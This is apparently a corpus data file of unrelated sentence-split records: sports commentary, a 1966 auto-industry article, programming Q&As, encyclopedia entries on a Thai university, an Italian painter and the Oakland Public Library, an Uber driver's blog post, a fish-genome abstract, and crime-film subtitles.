count.\"", "\n\nAs Russia showed in the first half in Dublin, though, Ireland can be left befuddled by teams who move the ball at pace. ", "Then again, as Ireland showed in the second half of that game, the direct approach can unsettle even the most poised sides. ", "In a sense, anyway, the most important thing is that Armenia are there with a chance of qualifying at all, not just for their players and fans, but for all minnows. ", "Their progress is a message that dull solidity is not the only way for the minnow." ]

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[ "Popular interest already building up in the 1967 model automobiles, to be introduced late this summer or early in the autumn, shows that the motor car has lost none of its fascination for the American public. ", "Automobiles, in fact, occupy a central place in the nation's life. ", "More than 75 million passenger cars are registered in the United States today. ", "Four of every five households own one automobile, and nearly one of every four families owns two or more cars. ", "Automobile production accounts for one-fifth of the country's entire durable goods production. ", "One of every seven American workers depends on the automotive industry in one way or another for his livelihood.", "\n\nIt is thus not surprising that the fortunes of the industry may well have a good deal to do with whether the nation, in the months ahead, enjoys continued prosperity or enters a period of business recession. ", "Despite the industry's dominant position in the economy—or perhaps because of it—auto manufacturers have lately found themselves under heavy fire from legislators, safety engineers, sociologists, city planners, and air pollution experts. ", "Detroit has been made aware that its response to the challenges from those quarters must go beyond the mere styling changes that mark the annual introduction of new models to an eager public.", "\n\nProspective Changes in the 1967 Auto Models\n\nAt one time, it was thought that a good auto sales year borrowed something from the following year. ", "Starting in 1962, however, passenger car sales annually exceeded those of the preceding year until 1966, and total sales in the present calendar year are expected to be larger than in any other year in automotive history with the sole exception of 1965. ", "Industry management and economists, moreover, believe that 1967 will be almost as good a sales year as 1966. ", "Sales of 1967 models are scheduled to get under way by the end of the coming September, about two or three weeks earlier than last year." ]

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[ "Q:\n\nUIFoundation 2 slices for architecture arm64 error Xcode 7.3\n\nI am getting following error \n\nld: warning: directory not found for option\n '-L/Avijit/Dogra/App/EZMCOM_LATEST 5.31.56\n PM/EZMCOM_LATEST/Connect/Library/iphoneos' ld: warning: ignoring file\n Connect/Library/libPods.a, file was built for archive which is not the\n architecture being linked (arm64): Connect/Library/libPods.a ld: in\n '/System/Library/PrivateFrameworks/UIFoundation.framework/UIFoundation',\n missing required architecture arm64 in file\n /System/Library/PrivateFrameworks/UIFoundation.framework/UIFoundation\n (2 slices) for architecture arm64 clang: error: linker command failed\n with exit code 1 (use -v to see invocation)\n\nHow to fix this error?", "\n\nA:\n\nI had the same problem and I fixed it by removing the system library UIKit.framework (for others it might be different) from build phases which was imported automatically.", "\nBecause the one I imported is an old one and i used otool to check it's linked library, it has UIFoundation.framework inside.", "\nI didn't check what's the difference between the old UIKit and the new one but I found this corrected the problem.", "\nI hope this will help anyone else having the same problem.", "\n\n" ]

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[ "Q:\n\nIterate the number of times of integers value Crystal\n\nI'm new to Crystal, and am working through the documentation as I build out a test project to help me reinforce some of the principles inside Crystal.", "\nI need to be able to iterate x number of times in a loop. ", "The x is arbitrary, not tied to an arrays length, but is a set value at the time of the programs execution.", "\nWhat's the Crystal way to do this?", "\nI know that I can setup a while and get the behavior I'm looking for, but is there a specific way this is meant to be implemented in Crystal?", "\nFor example, in Ruby, you could say x.times { }or in Python you could say for num in range(x).", "\n\nA:\n\nThere is an x.times {} in Crystal too.", "\n\n" ]

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[ "Payap University\n\nPayap University (; ), established in 1974, is a private and non-profit institution founded by the Foundation of the Church of Christ in Thailand. ", "Payap University is a liberal arts and pre-professional school offers a doctoral degree in peacebuilding; masters in divinity, linguistics, TESOL, law, MBA and music; and bachelor degrees in arts, sciences, accountancy, business, economics nursing, law, and Christian theology. ", "Payap is a founding member of the Association of Private Higher Education Institutions in Thailand and an active member of the Association of Christian Universities and Colleges in Asia, as well as the Association of Southeast Asian Institutions of Higher Learning.", "\n\nAcademic programs \nPayap is a liberal arts and pre-professional school offering 22 Thai language degrees and 7 English-based language International degree programs in 12 colleges/faculties.", "\n\nInternational student body \n\nPayap has an international student body with nearly 30 countries represented (including the United States, China, Myanmar, France, Germany, Mexico, Japan, Pakistan, India and Thailand). ", "Students share strong English proficiency to perform in the English-speaking bachelor's and master's degree programs.", "\n\nPayap University has obtained official recognition from the United States government, through its Department of Education (DOE), as eligible for federal financial aid.", "\n\nLocation \nThe university is in Chiang Mai, Thailand.", "\n\nMae Khao campus \nJust east of the city, on the \"middle\" ring road, Mae Khao is the larger campus with 120 acres housing classrooms, administrative offices, and laboratories. ", "The Luce Chapel, Center for Arts and Culture, the Research and Development Institute, and the University Central Library are here, as well as the faculties of humanities and social science, business administration, science, law, accountancy, finance and banking, communication art, pharmacy, and the graduate school. ", "Also here are the university archives, the Christian Communication Institute (CCI), the Linguistics Institute, and the Institute for the Study of Religion, Culture and Peace.", "\n\nKaew Nawarat campus \nKaew Nawarat is a small campus in town, across from Payap-affiliated McCormick Hospital. ", "The McGilvary College of Divinity, the McCormick Faculty of Nursing, and the College of Music are here.", "\n\nArchives\nThe Payap University Archives hold documents related to the history of Protestant missions in northern Thailand. ", "They house the personal papers of many missionaries from the 19th and 20th centuries, and the institutional archives of several missionary organizations.", "\n\nForeign training for US veterans\nPayap University has been approved by the US Department of Veterans Affairs (VA) to offer degree programs to eligible American veterans. ", "Currently there are ten degree programs approved for VA funding.", "\n\nNotes\n\nExternal links\nPayap University website\n\nCategory:Private universities and colleges in Thailand\nCategory:Education in Chiang Mai\nCategory:Buildings and structures in Chiang Mai\nCategory:Educational institutions established in 1974\nCategory:1974 establishments in Thailand\nCategory:Association of Christian Universities and Colleges in Asia" ]

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[ "Investment Navigator AG\n\nInvestment Navigator makes suitability accessible and understandable by offering banks, asset and wealth managers around the world modular technology-driven solutions as well as holistic consultancy services to add value to advisory and distribution processes.", "\n\nThe company provides suitability guidance with regards to regulatory, tax, product, and offering management specific requirements and restrictions. ", "Established in 2014, the privately-owned business is headquartered in Zurich. ", "In a very short time, Investment Navigator has become the go-to address for suitability, driving the future of compliance and advisory.", "\n\nProducts\n\n\"Product Navigator\" is our flagship module which provides suitability information on ISIN level for investment products. ", "Regulatory, tax and product specific data and rules are considered to support the advisory and distribution process." ]

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[ "Part-Time\n\nChildcare and Early Years\n\nThis qualification prepares learners to become Early Years Educators and enable them work with children between birth and 5 years with knowledge of children up to the age seven in a variety of Early Years settings such as nurseries, preschools and as child minders. ", "You will need to be working or volunteering in a preschool/nursery setting for a minimum of 14 hours a a week to complete this qualification" ]

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[ "How Uber’s Low Fares are Affecting Passengers\n\nThere have been many articles that cover how the lower fares are decreasing the income for drivers. ", "Lower fares also mean a cheaper ride for passengers, but is that always a good thing? ", "Does lower fares really mean cheaper fares? ", "Not all the time, especially due to surge pricing.", "\n\nSo how does lower fares affect passengers? ", "Well, as we’re all effectively being paid less, drivers are now much more critical about which passengers to pick up. ", "Remember in our TOS that we are allowed to carry out the job anyway we see fit. ", "Many drivers have been temporarily suspended for refusing too many trips or kicked offline for 5 minutes if we reject too many requests in a short period of time (usually 3-6 in a row). ", "This point is elaborated in the list below.", "\n\nHere are a few ways passengers are seeing the effects of low wages:\n\nMany of the best and veteran drivers don’t drive anymore or much less than they used to: Do you notice a reduction in quality of service? ", "Its mainly because the best drivers have reduced their hours or found something else to do. ", "In a recent study by Sherpa, 70% of their users were part time so it is not surprising that many either quit or drive much less.", "\n\nDrivers don’t feel like providing top service for low wages: Let me ask you this. ", "What would happen if you were forced to tip a waiter before the service was provided? ", "What would happen if you only tipped 5% instead of customary 15-20%? ", "This is exactly what happens to some Uber Drivers. ", "They feel they don’t get paid enough to provide top level service and only provides the basic service to keep their rating at a minimum level.", "\n\nLow wages shrink the talent pool: When UberX first came out two years ago, many drivers were making much more money on a regular basis, so better drivers were on the platform that essentially built up the initial customer base and high user expectation of service and quality. ", "With the rate cuts and lower wages, you see seasoned and highly rated drivers quitting and also less of them are applying. ", "Overall this leads to lower quality of service.", "\n\nNOTE: There are still some amazing and die-hard drivers on Uber, Lyft and Sidecar that day in and day out do a great job. ", "They go the extra mile for their customers and promote the respective brands. ", "I am merely noting that there are just less of them around.", "\n\nLow wages don’t pay for newer or nicer cars: When the service was paying well, there were drivers in many markets that often had nicer and/or newer cars. ", "Now many drivers have economical cars so that they can earn a bit more than driving an expensive car (if they had one). ", "Some drivers with nicer cars decided its just not worth it to drive considering the car they had. ", "Uber was forced to lower their car requirement down to year 2000 in the markets they legally could to get more drivers. ", "So what used to be a 2004 car is now 2000 driving you around.", "\n\nSome passengers may have a harder time getting a ride: Yes, Uber has been hiring like crazy. ", "but here are two situations where an Uber users may have a hard time getting a ride: Low passenger rating – Uber drivers can rate their passengers. ", "Many passengers are oblivious to this fact. ", "If you have a low rating, chances are that some drivers may not want to pick you up because of the predicted hassle of a low rated passenger and again, drivers don’t feel like they are paid enough to deal with a low rating passenger. [", "Note, I don’t look at ratings, but all of my low rated passengers were great, and some of the worst passengers had been highly rated (4.7-4.8 range).] ", "Long ETAs – If your pickup spot more than 10 minutes from a driver, a driver may not accept the request because its just too far for them to go to pick someone up. ", "We don’t get paid to drive to pick someone up so long ETAs can negatively affect our income, especially for short rides. ", "Also, many drivers are aware that passengers are very critical of their time so on long ETAs, it is very likely that the passenger will cancel on them so some drivers avoid the situation all together by not accepting the trip.", "\n\nLess amenities: remember when you can find a bottle of water and snacks and candy in almost every car last year? ", "Well those days are gone. ", "Fewer and fewer drivers can afford to provide free bottles of water and food to all of their passengers. ", "There are still some drivers who still does this but they are becoming fewer and fewer. ", "Many drivers have found that having that doesn’t affect their rating much. ", "When I first started, I provided water but eventually stopped doing that unless it was a really hot day outside.", "\n\nFewer Cars – in some extreme cases of fare cuts, this has directly led to having less drivers on the road. ", "Either they quit Uber altogether or have started to drive on Lyft. ", "The effect is less cars and higher demand, which leads into my next point:\n\nMore Surge Pricing – Passengers may see more surge pricing because of the higher demand during key times of the week. ", "If you factor in the price cut, sometimes it is cost neutral for the passenger. ", "A fare before the 15% price cut is the same price as 1.2x surge, but in my experience, lower fares usually lead to higher surges and/or surge pricing happening more often.", "\n\nSo at the end of the day, lower fares doesn’t necessarily better for customers. ", "The crazy thing about all this is that usually passengers don’t notice the lower fares. ", "The first time they cut fares in Boston, many passengers weren’t even aware of it. ", "For passengers who knew about the price cut, they don’t even know how much they would save unless they take it on a daily basis.", "\n\nSo have you noticed these trends as a driver or as a passenger? ", "Make sure to tell us about it in the comments below!", "\n\nHave more questions about Uber or Lyft? ", "Head on over to our Rideshare Driver Training Course! ", "Driver Promotions" ]

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[ "Complete mitochondrial genome of the beaubrummel Damselfish, Stegastes flavilatus (Pisces: Perciformes, Pomacentridae).", "\nThe mitogenome of the beaubrummel damselfish, Stegastes flavilatus Gill, 1862 (Genebank accession number KP136922), has a total length of 16,816 bp. ", "It encodes 13 protein-coding, two ribosomal RNAs (rRNAs), and 22 transfer RNA (tRNA) genes. ", "Base composition is 28.6% A, 26.0% T, 29.8% C, and 15.7% G and 45.5% GC content. ", "The gene arrangement was found to be the same of other pomacentrid mitogenomes." ]

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[ "Maria Giovanna Clementi\n\nMaria Giovanna Clementi (1692–1761), called la Clementina, was an Italian painter, specializing in portraits.", "\n\nBiography\nShe was born in Turin, the daughter of a surgeon, Giovanni Pietro Giuseppe Bussano (Bussana, Buzana) and Maria Cristina Ausineti. ", "Her husband was Giuseppe Bartolomeo Clementi, about whom little is known. ", "She trained in Turin with court painter Giovanni Battista Curlando, who advised her to specialize in portraits. ", "In 1733 she resided with her husband in the palace of Count Carlo Giacinto Roero.", "\n\nSome documents show that at least since 1722, she worked for the court, painting portraits of members of the royal family of Savoy that were to be exchanged with other European courts.", "\n\nList of works\n Portrait of Victor Amadeus II of Sardinia, See Here\n Portrait of Anne Marie d'Orléans, See Here\n Portrait of the Princess of Piedmont (1722) See Here\n Portrait of Prince Vittorio Amedeo Theodore of Savoy (1725) See Here\n Portrait of Princess Maria Felicita of Savoy (1725) See Here\n Portrait of the sons of Charles Emmanuel III of Sardinia (1730) See Here\n Portrait of Princess Maria Luisa of Savoy (1732) See Here\n Portrait of Vittoria Maria Elisabetta Gazzelli See Here\n Portrait of Victor Amadeus III of Sardinia See Here\n Portrait of Charles Emmanuel III of Sardinia See Here\n Portrait of Polyxena of Hesse, Queen of Sardinia See Here\n Portrait of Michele Antonio Saluzzo See Here\n Portrait of Charles Emmanuel III of Sardinia'' See Here\n\nReferences\n\nExternal links\n\nCategory:1692 births\nCategory:1761 deaths\nCategory:People from Turin\nCategory:Italian women painters\nCategory:17th-century Italian painters\nCategory:18th-century Italian painters\nCategory:18th-century women artists\nCategory:17th-century women artists" ]

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[ "Q:\n\nPeculiar Java Scope\n\nI'm browsing through the Android source, just kind of reading it, and I've come across a strange chunk of code in Android.", "Util.", "JsonReader. ", "It is as follows:\nprivate final List<JsonScope> stack = new ArrayList<JsonScope>();\n{\n push(JsonScope.", "EMPTY_DOCUMENT);\n}\n\nWhat is this doing exactly? ", "That is, the scope immediately following the new assignment? ", "If I understand correctly, whenever this class, JsonReader is instantiated, (not static, right?), ", "stack will be initialized here, rather than via a this.stack = ... in the constructor, correct? ", "\nWhat then does the scope do? ", "Is that executed after stack is initialized? ", "I'm just a bit confused here, as to the name of this pattern, and its use.", "\n\nA:\n\nIts not related to the new Statement. ", "It is an initializer, kind of like an unnamed parameterless constructor.", "\nhttp://docs.oracle.com/javase/specs/jls/se7/html/jls-8.html#jls-8.6\nThey are executed before the constructors of a class in textual order\nhttp://docs.oracle.com/javase/specs/jls/se7/html/jls-12.html#jls-12.5\n\n" ]

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[ "Oakland Public Library\n\nThe Oakland Public Library is the public library in Oakland, California. ", " Opened in 1878, the Oakland Public Library currently serves the city of Oakland, along with neighboring smaller cities Emeryville and Piedmont. ", "The Oakland Public Library has the largest collection of any public library in the East Bay, featuring approximately 1.5 million items. ", " It consists of a main library located in downtown Oakland, and 16 branch libraries throughout the city (see below).", "\n\nSpecial services within the Oakland Public Library system include the African American Museum and Library at Oakland (AAMLO), the Second Start Adult Literacy Program, and the Tool Lending Library\n\nHistory\nThe Oakland Library Association was formed in 1868 as a subscription library. ", "The poet Ina Coolbrith was hired as librarian in 1873. ", "In 1878, the library was reformed as the Oakland Free Library, the second public library created in California under the Rogers Free Library Act. (", "Eureka was first.) ", "With her personal style, Coolbrith nurtured the reading habits of many young Oakland students including Jack London and Isadora Duncan. ", "Coolbrith's nephew Henry Frank Peterson replaced Coolbrith in 1892, greatly expanding the library's circulation as well as improving accessibility by completing a card catalog system. ", "Charles S. Greene, poet and former editor of the Overland Monthly, became librarian in 1899 and served until 1926. ", "Mabel W. Thomas, who served as assistant librarian and chief reference librarian under Greene, and retired in 1948, began a collection of books, periodicals, and other material that were the foundation of the California Room in the 1940s and now contained in the well-used Oakland History Room.", "\n\nMain library\nThe Main Library has occupied its present location at 125 14th Street near Lake Merritt since 1951. ", "It is one of the largest public library facilities in the Bay Area. ", " It features popular reading materials, business resources, government publications, videos/DVDs/CDs, maps, and a computer lab for the public. ", " It is also houses the Oakland History Room, including primary materials and unique books that explore the history of the East Bay; a large and active Children’s Room; and the TeenZone. ", "Adaptive technology is available for persons with disabilities at this and other sites. ", "Call (510) 238-4974 for more details.", "\n\nBranches\nAs of 2018 the Oakland Public Library has 16 branches. ", "Dates listed in the following list of current branches indicate the year the branch was established and, if the branch has since moved, the year the current location opened.", "\n\n 81st Avenue (2011), 1021 81st Avenue \nThis branch is jointly operated with the Oakland Unified School District and serves two elementary schools as well as the neighborhood. ", "Construction funding included grants through the California Reading and Literacy Improvement and Public Library Construction and Renovation Bond Act of 2000 (aka Proposition 14).", "\n Asian (1976, current location 1995), 388 9th Street\n Brookfield (1957, current location 1992), 9255 Edes Avenue\n César E. Chávez (1966, current location 2004), 3301 East 12th Street, Suite 271\nThis branch, now named after worker rights activist César E. Chávez, was formerly named the Latin American Library Branch, and was established in 1966. ", "It was one of the first public libraries in the United States to offer services and materials in Spanish, and was the first library branch exclusively dedicated to the Spanish-speaking community in the United States.", "\n Dimond (1915, current location 1980), 3565 Fruitvale Avenue\n Eastmont (1945, current location 1998), Eastmont Town Center, 7200 Bancroft Avenue, Suite 211\n Elmhurst (1911, current location 1949), 1427 88th Avenue\n Golden Gate (1899, current location 1949), 5606 San Pablo Avenue\n Lakeview (1930, current location 1949), 550 El Embarcadero\n Martin Luther King, Jr. (1970), 6833 International Boulevard\nThis branch, now named after civil rights activist Martin Luther King, Jr, was originally established in 1916; it was named the Lockwood Branch in 1929. ", "In 1970, it was replaced by a new facility, which is the present library. ", "It features a black history collection, containing books written by or about people of African descent.", "\n Melrose (1911, current location 1916), 4805 Foothill Boulevard\n Montclair (1930), 1687 Mountain Boulevard\n Piedmont Avenue (1912, current location 2012), 80 Echo Avenue\nThis branch had been on 41st Street at Piedmont Avenue since 1932, but had to move when the building owner raised the rent. ", "The library is now on the grounds of Piedmont Avenue Elementary School.", "\n Rockridge (1919, current location 1996), 5366 College Avenue\n Temescal (1899, current location 1918), 5205 Telegraph Avenue\nThe Temescal branch houses the Temescal Tool Lending Library, one of the few of its kind in the Bay Area, which allows library patrons to check out tools for various kinds of repairs and home-improvement projects, as well as books, videos, and other instructional materials.", "\n West Oakland (1977), 1801 Adeline Street\n\nAfrican American Museum and Library at Oakland (AAMLO)\n\nThe African American Museum & Library at Oakland (AAMLO) is a non-circulating library that archives historic collections and reference materials documenting the African American experience in California. ", " Among the more than 160 collections in the library are archives relating to Martin Luther King, Jr., Malcolm X, the Black Panthers, Africa, and genealogy. ", "Materials include photographs, manuscripts, letters, diaries, newspapers, recorded oral histories, videos, and microfilms. ", "AAMLO’s two galleries host changing exhibitions of art, history, and culture.", "\n\nReferences\n\nExternal links\n\n Official site of the Oakland Public Library\n The Friends of the Oakland Public Library\n\nFurther reading\n \n \n \n \n\nCategory:Education in Oakland, California\nCategory:Public libraries in California\nCategory:Libraries in Alameda County, California\nCategory:Library buildings completed in 1951" ]

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[ "\"I knew that tire had to go.\" \"", "You talk too much.\" \" ", "Please, mister, please.\" \" ", "Uh-uh.\" \"", "Yeah.\" \" ", "Now what?\" \" ", "Now to get to that brother of yours.\" \" ", "Get that dough you got stashed away.\" \" ", "Let's go, let's go.\" \"", "Come on.\" \" ", "Let's go, let's go, let's go.\" \" ", "It's his foot.\" \" ", "How far we gotta go?\" \" ", "Ten, 15 miles.\" \" ", "You two go on.\" \" ", "Hole up here, back of the sign.\" \"", "One of us will come back tonight, blink the headlights.\" \" ", "At least you got company.\" \" ", "Take it easy, son.\" \"", "I'll take it easy.\" \"", "I got a lawyer in Tulsa to see.\" \" ", "You having trouble?\" \" ", "Could be.\" \"", "Who are you?\" \"", "You live around here?\" \"", "Could be.\" \"", "Haven't had a couple of visitors lately, have you?\" \"", "That wouldn't be sore foot making you limp, would it?\" \"", "Could be.\" \"", "I got some other stuff to pick up.\" \"", "Get in or we'll both get pneumonia.\" \"", "They took their own sweet time sending for me.\" \"", "Who are you?\" \"", "They sent this for you.\" \"", "Get in.\" \"", "I'll take that stuff.\" \"", "You go around the shed through the trees, a cabin back there.\" \"", "Look who's here.\" \" ", "Hello, son.\" \" ", "You took your time getting here.\" \"", "What you and that gal been doing, swimming?\" \"", "Say hello to Mobley, Chickamaw's brother.\" \"", "I told you she'd find them.\" \" ", "She's a weasel, that daughter of mine.\" \" ", "Tired?\" \"", "Sorry we had to keep you waiting.\" \"", "It had to be that way.\" \"", "Here, kid.\" \"", "This will fit better over that bandage.\" \"", "You're welcome.\" \"", "A thousand dollars.\" \"", "That enough for a used car?\" \"", "Could be.\" \"", "You can't tell, though.\" \"", "The way things are, you could\" \"Well, that'd be my daughter.\" \"", "Hello, Miss Keechie.\" \"", "Here's 500 more.\" \"", "That's 1500 for the car.\" \"", "Can't have you coming back in no rattletrap, not for this trick.\" \"", "Fifteen hundred bucks for a second-hand car?\" \"", "That's right.\" \"", "Whoever sells them for that?\" \" ", "That's worse than robbing a bank.\" \" ", "They're thieves, just like us.\" \"", "Now, don't forget the clothes.\" \"", "Tell Mattie the first big dough goes to get her man out of jail.\" \" ", "Tell here that or she won't come.\" \" ", "Oh, I'll tell her for sure.\" \"", "Well, so long, fellows.\" \"", "I'll try to get back here with Mattie before tomorrow night.\" \"", "Hey, big brother, stay sober.\" \" ", "Me?\" \" ", "Yeah, you.\" \"", "Oh, I won't touch a drop.\" \"", "Not a drop.\" \"", "Of course, he won't.\" \"", "We take care of our friends, Mobley.\" \"", "I know.\" \"", "I know that, T-Dub.\" \"", "Keechie, you'll take care of the station, won't you?\" \"", "So long.\" \"\"", "You'll take care of the station.\"\" \"", "He never did a lick of work in his life, that brother of mine.\" \"", "Did you catch the look on his face?\" \"", "He's still trying to figure out where I had that dough hid.\" \"", "Can't you make that stove work?\" \"", "He'd have grabbed it, too, wouldn't he, Keechie?\" \"", "You show him how, Miss Keechie.\" \"", "That's one machine he don't know nothing about.\" \"", "Here.\" \"", "Thanks.\" \"", "That boy's some gallant, ain't he?\" \"", "And he got a soft heart and a head to match.\" \"", "His head looks all right to me.\" \"", "That little girl don't think any too much of us.\" \"", "Her ma was just the same way, always acting like she was the queen of Romania.\" \"", "Keechie's mom?\" \"", "Know what she did?\" \"", "Ran off with a fella and now they're running a medicine show.\" \"", "No matter how I turn it, we're short.\" \"", "We need another thousand dollars.\" \"", "Hey, we're in it.\" \"\"", "Prison farm break.\" \"", "The escape of three lifers was announced today by Warden E. Gaylord of the state prison farm.\" \"", "The fugitives, who kidnapped a farmer on their flight, are El--\"\" \"\"Elmo 'One-Eye' Mobley.\"\" \"", "Always \"One-Eye.\" ", "They always mention that.\" \"\"", "R.T. Waters, farmer of Akota, gave a description of the three men who commandeered his car at the point of a gun.\"\" \"", "I should have blasted his head off with that shotgun.\" \" ", "Chickamaw, come here.\" \" ", "Still, it's all they can talk about.\" \"", "This dance hall, The Meadowbrook, you know it?\" \"", "Sure, I know it.\" \"", "Used to be my old stomping ground.\" \"", "They're having themselves a little dance tomorrow night.\" \"", "Enough we could take there for a small cushion for the Zelton job?\" \"", "Sunday night?\" \"", "Yeah, that could...\" \"That One-Eye.\" \"", "They didn't print a very big piece about us either.\" \"", "Wish it was only two lines.\" \"", "Newspapers raise more heat than anything.\" \"", "In a few days, they'll really have something to print.\" \" ", "Yeah.\" \" ", "Three boys like us?\" \"", "We can charge any bank in the country, any bank.\" \" ", "How many have you knocked over?\" \" ", "Enough.\" \"", "I've done a few myself.\" \"", "You're in luck, kid, you're traveling with real people.\" \"", "Takes three to charge a bank, and we're the Three Mosquitoes.\" \"", "We move fast.\" \"", "Can you take it?\" \" ", "Me?\" \" ", "You.\" \"", "Sure, I can rib myself up to anything.\" \"", "Maybe.\" \"", "You ribbed yourself up once to killing a man, didn't you?\" \"", "Didn't you?\" \"", "Yeah.\" \"", "I sure did.\" \"", "Get in there.\" \"", "Close the door.\" \"", "Get down.\" \"", "Highway patrol, this time every night.\" \"", "One, two, three, four, five, six, seven, eight, nine, 10.\" \"", "Okay.\" \"", "Thanks.\" \"", "I don't guess I know much about talking to women, or how to talk, I\" \" How old are you?\" \" ", "23.\" \" ", "How long were you in that prison?\" \" ", "Seven years.\" \"", "What did that Chickamaw tell you about me?\" \"", "Patrol back?\" \"", "Well, you ought to be happy now.\" \"", "You finally hit something.\" \"", "Shut up.\" \"", "I thought I told you to stay sober.\" \"", "Yeah, I had a tough time.\" \"", "He had a tough time.\" \"", "The way he was driving.\" \"", "Oh, shut up.\" \" ", "Hello, Mattie.\" \" ", "That the best you could send?\" \"", "Shut up.\" \"", "I had a tough time.\" \"", "I got everything done though, just like you told me.\" \"", "Hey, it's good to see you, Mattie.\" \"", "We got planning and thinking to do.\" \"", "Lucky he didn't bust up something before we got here.\" \"", "Way that guy was driving, I was ready to jump.\" \"", "Shut up.\" \"", "Bowie, you better fix this tire and check the car.\" \"", "How's my brother?\" \" ", "He's still in there.\" \" ", "I know.\" \" ", "Did you see him?\" \" ", "Yup.\" \"", "Chickamaw.\" \"", "Had a tough time.\" \"", "Come on.\" \"", "Slippery.\" \"", "I can handle him.\" \"", "She's my daughter.\" \"", "Keechie.\" \"", "Keechie?\" \"", "Oh, where's my daughter?\" \"", "Keechie?\" \"", "You like your old man?\" \"", "Do you like yours?\" \"", "Not much.\" \" ", "Is it true your ma ran off with a guy?\" \" ", "Yes.\" \"", "My ma took up with a guy who ran a pool hall.\" \"", "Pa used to take me there.\" \"", "One night, he and this guy were having an argument.\" \"", "I thought it was part of the game.\" \"", "Never did see a pool game that didn't have an argument.\" \"", "Pa raised his cue and...\" \"Other guy had a gun.\" \"", "Pa turned to me like he was trying to say something.\" \"", "I saw his face.\" \"", "White.\" \"", "Like he was gonna cry.\" \"", "And the blood running into his eyes.\" \"", "My ma went to live with the guy that killed him.\" \"", "Got a cigarette?\" \"", "You smoke a lot.\" \"", "I don't want one.\" \"", "Haven't got one.\" \"", "How's it coming?\" \"", "All right.\" \"", "I just wanna make sure you were okay.\" \"", "The two of you.\" \"", "Nothing for you to worry about.\" \"", "Chickamaw.\" \"", "Better get a move on.\" \"", "We got some traveling to do.\" \"", "Fine company you're running with.\" \"", "I suppose you thought you had to get out of that prison.\" \"", "Didn't see any use doing any more time.\" \"", "Wasn't getting me nowhere.\" \" ", "Out here, even the air smells different.\" \" ", "Where do you think you'll get with them?\" \"", "That Chickamaw, he lives for trouble, even if he is my uncle.\" \"", "Oh, he's wild all right, but T-Dub's steady.\" \"", "Maybe.\" \" ", "If I wasn't so hot, you know what I'd like?\" \" ", "What?\" \"", "Like to have me a filling station.\" \"", "A garage along with it, maybe.\" \"", "It'd be too slow for you.\" \"", "You wanna live your life fast.\" \"", "You don't know what you want.\" \"", "You got me down wrong, Miss Keechie.\" \"", "T-Dub saw it in the paper back there in the prison, see?\" \"", "It's what the Supreme Court of the United States itself said.\" \"", "This fellow it writes about, he was tried, convicted of murder, sentenced, all the same day.\" \"", "The same as me.\" \"", "Then the Supreme Court itself said, \"Let that man out.\"\" \"", "No due process or law.\" \"", "That fellow was 16 too when he done his murder, same as me.\" \"", "How come you killed a man?\" \"", "Some of the fellows in the carnival I was traveling with said they knew how to make some money.\" \"", "They had a safe all picked out.\" \"", "Just sort of went along to see how it was done.\" \"", "You were in a carnival?\" \"", "Just roustabouting.\" \"", "I should have been smart and run like the other kids.\" \"", "You know, lawyers cost money.\" \"", "Soon as I get enough, I got a lawyer in Tulsa to see.\" \"", "I'm gonna get myself squared around.\" \"", "I hope you're right.\" \"", "Yeah, you bet I'm right.\" \"", "You know what I'm gonna do?\" \"", "I'd like to go to New Orleans.\" \"", "Mexico, maybe.\" \"", "The way Chickamaw talks about that Mexico, that must be some country.\" \"", "Before I'm through, I'm gonna do a lot of looking around.\" \"", "You think you're quite a man, don't you?\" \"", "Uh-huh.\" \"", "Fine way to get squared around, teaming with them.\" \"", "Stealing money and robbing banks.\" \"", "You'll get in so deep trying to get squared they'll have enough for two lifetimes.\" \"", "Call my sister.\" \"", "I'll leave the address with her.\" \"", "If what that newspaper clipping says is true, you can go back and tell them about it.\" \"", "They don't keep people who don't belong there.\" \"", "They'd never believe me.\" \"", "Who said that?\" \"", "T-Dub?\" \"", "Chickamaw?\" \"", "They know.\" \" ", "All set, Bowie?\" \" ", "Yeah.\" \"", "Keechie, you'll drive Mattie down at the bus for us.\" \"", "I suppose so.\" \"", "It's a cash-on-the-barrelhead proposition for me, remember.\" \"", "I told the boys that.\" \"", "After all, it's my own brother that's in the pen.\" \"", "He's my husband and we ain't getting any younger.\" \"", "And I want him out now.\" \"", "And that's gonna take money.\" \"", "You do your part, Mattie.\" \" ", "We'll get you the money.\" \" ", "I'll do my part.\" \"", "So long, Keechie.\" \"", "So long, Bowie.\" \"", "Come on, let's go, let's go, let's go.\" \" ", "Are you interested in that?\" \" ", "What's it to you?\" \" ", "He's jailbait.\" \" ", "He's just a kid.\" \"", "Yeah, that's what I said once.\" \"", "Maybe you'll be lucky.\" \"", "Maybe they won't send him back to prison.\" \"", "Maybe he'll get himself killed first.\" \"", "I'll take you to the bus.\" \" ", "Now where do we go?\" \" ", "Zelton.\" \"", "I'll let you off outside of town.\" \"", "Some guys are dingbats.\" \"", "They'll charge a place with a filling station, a telephone and hardware store next door.\" \"", "I've seen more guys killed that way.\" \"", "Short match waits outside in the car.\" \"", "That's the tough job.\" \"", "Some dingbats think the guy in the car has got a snap.\" \"", "He's the man that gets to rumble first, believe me.\" \"", "I'll go inside anytime.\" \"", "Draw.\" \"", "I'll stay in the car.\" \"", "Any job we do.\" \"", "Okay?\" \"", "Okay.\" \"", "Come on, son, let's change.\" \" ", "Want me to gift-wrap it?\" \" ", "No.\" \"", "Ouch.\" \" ", "Have you anything smaller?\" \" ", "No.\" \"", "Well, that's all right.\" \"", "I have to go over to the bank anyhow.\" \"", "I'm dickering with them for a new lease on this place.\" \" ", "Mind stepping over to the bank with me?\" \" ", "Sure.\" \"", "Change, please.\" \"", "Here you are, young man, with thanks.\" \" ", "I have a wedding ring or two if you ever\" \" Thanks.\" \"", "On the nose.\" \" ", "You all right, son?\" \" ", "Sure.\" \"", "Did you look around inside?\" \" ", "I can draw you a picture.\" \" ", "Save it for Chickamaw.\" \"", "Mattie got us a house in Gusherton all right.\" \"", "Had to take it for six months.\" \" ", "Gonna leave the car here?\" \" ", "Sure, it's okay.\" \"", "Some shack, eh?\" \"", "Well, how do you like it?\" \"", "Hi, Chickamaw.\" \"", "So you got back, huh?\" \" ", "T-Dub?\" \" ", "Yeah?\" \"", "Mattie?\" \"", "She got a real house.\" \"", "Why not?\" \"", "We're real people.\" \"", "Hello, Mattie.\" \"", "What's the matter?\" \"", "What's been going on here?\" \"", "I was just trying to get her to take a drink.\" \"", "She's so dried up.\" \"", "Maybe you're not the right man for her, Chickamaw.\" \"", "How long does one woman wait for one man?\" \"", "Listen, you crummy one-eyed lush\" \"Mattie!\" \"", "Hey, that's seven years.\" \"", "It's gonna take the three of us.\" \"", "I want my brother out too.\" \"", "I got the cars for you.\" \"", "One here, one in 